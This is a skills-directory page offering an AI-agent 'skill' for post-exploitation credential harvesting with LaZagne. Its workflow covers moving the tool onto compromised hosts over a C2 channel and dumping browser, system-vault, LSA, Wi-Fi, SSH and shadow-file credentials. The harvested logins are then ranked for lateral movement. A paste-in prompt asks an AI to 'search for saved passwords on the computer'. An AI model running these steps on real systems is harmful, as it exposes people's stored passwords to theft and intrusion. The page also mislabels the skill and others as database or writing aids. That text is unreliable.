performing-credential-access-with-lazagne
Teaches your AI agent to query and organize databases.
What it does
This tool searches for and recovers saved passwords on computers. It can find passwords from browsers, email programs, databases, and other applications.
When to use it
- ✓When testing the security of a system.
- ✓After gaining access to a computer to find more passwords.
- ✓When checking if saved passwords are protected.
Example of what to ask your AI
“Search for saved passwords on the computer.”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
The tool checks various places where passwords might be stored, like browsers and programs. It tries to 'unlock' these passwords so you can see them.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-credential-access-with-lazagneOr download just the file:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-credential-access-with-lazagne/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
- When conducting security assessments that involve performing credential access with lazagne
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows) # Transfer lazagne.exe via C2 channel or file upload # Python version (requires Python on target) git clone https://github.com/AlessandroZ/LaZagne.git cd LaZagne pip install -r requirements.txt - Verify execution capability and privileges:
# Check current user context whoami /priv # LaZagne works with standard user privileges for user-level stores # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials lazagne.exe all # Export results to JSON lazagne.exe all -oJ # Export results to specific file lazagne.exe all -oJ -output C:\Temp\creds - Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE) lazagne.exe browsers # Windows credential stores lazagne.exe windows # Database credentials lazagne.exe databases # Email client credentials lazagne.exe mails # Wi-Fi passwords lazagne.exe wifi # Git credentials lazagne.exe git # System credentials (requires elevated privileges) lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction python3 laZagne.py all # Browser credentials python3 laZagne.py browsers # System credentials (SSH keys, shadow file with root) python3 laZagne.py sysadmin # Database credentials python3 laZagne.py databases # Git credentials python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json with open("creds.json") as f: results = json.load(f) for module in results: for entry in module.get("results", []): print(f"Source: {entry.get('Category')}") print(f" User: {entry.get('Login', 'N/A')}") print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}") - Prioritize credentials by value:
…
FAQ
Do I need permission to use this tool?
Yes, you need authorization to use this tool on any system, as it accesses sensitive information.
Does it work on all types of computers?
It works on Windows, Linux, and macOS, but has more features for Windows.
What are 'credentials'?
Credentials are login information, like usernames and passwords, that allow access to systems or applications.
Details
Original description by the author
Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.
Popularity
- GitHub stars
- 35k
- Ranking position
- #6048
- License
- Apache-2.0
- Updated
- 8/31/2026
Comments
- …
More skills from this repository
abusing-dpapi-for-credential-access
Gives your AI agent ready-made instructions for a specific task, so it does it better and faster.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Teaches your AI agent to write clear, well-structured text.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Helps your agent prepare an environment for CMMC Level 2 compliance. It implements security requirements and manages necessary documentation.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Helps your agent create exact copies of hard drives. This is useful for ensuring no information is lost or altered during investigations.
mukul975/Anthropic-Cybersecurity-Skills
Similar skills
clickhouse-io
Helps your agent optimize queries and schemas in ClickHouse databases. It applies best practices for high-performance analytical workloads. Use when analytical queries are too slow.
affaan-m/ECC
scientific-db-pubmed-database
Helps your agent search for scientific articles in the biomedical field. It's useful for research needing specific medical information.
affaan-m/ECC
scientific-db-uspto-database
Allows the agent to look up official US patent and trademark data. It's useful for intellectual property research.
affaan-m/ECC